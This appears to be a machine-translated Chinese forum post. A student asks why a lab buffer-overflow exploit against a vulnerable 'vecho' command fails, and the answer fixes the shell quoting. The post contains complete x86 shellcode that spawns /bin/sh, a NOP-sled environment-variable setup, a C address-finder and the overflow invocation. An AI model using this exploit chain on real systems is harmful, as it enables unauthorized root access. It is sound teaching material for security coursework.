我正在做一个实验室,要求我们使用一个名为vecho的内置易受攻击命令(与echo相同的函数)执行缓冲区溢出以获得root权限。然而,无论我尝试什么,我都无法让它发挥作用。
.section .text
.globl _start
_start:
xor %eax, %eax // your comments go here
push %eax // and here, and so on...
push $0x68732f2f
push $0x6e69622f
mov %esp, %ebx
push %eax
mov %esp, %ecx
push %ebx
mov %eax, %edx
mov $0xb, %al
int $0x80
我们通过执行
将其加载到保存为egg的环境变量中export EGG=$(<shellcode.bin)
然后我们制作一个雪橇
SLED=`python -c "print '\x90' * 100"`
将雪橇添加到变量
export EGG=$SLED$EGG
然后,当我们使用此
运行vecho时,我们会找到EGG所处的地址#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main(int argc, char** argv){
char *ptr;
if(argc < 3){
printf("Usage:%s<environmentvar><targetprogramname>\n",
argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2]))*2;
printf("%s will be at %p\n", argv[1], ptr);
}
然后我们通过做这样的事情
以小端形式创建一个地址变量ADDRESS=echo -en "\xff\xff\xff\xbf"
一个填充变量,其字符足以将地址推入eip然后运行
vecho $PADDING$ADDRESS
但无论我尝试什么,如果填充太小,我会得到一个成功的打印,如果填充太长则会出现seg错误,而在中间有非法指令。我觉得这个非法的指令点很重要,但我不能让它实际运行shell代码。
答案 0 :(得分:0)
你几乎得到了它。该指令是非法的,因为它看起来像你正在分配echo -en&#34; \ xff \ xff \ xff \ xbf&#34;讲话。你想要做的是:
ADDRESS=`echo -en "\xff\xff\xff\xbf"`
这会将结果分配给ADDRESS而不是整个命令。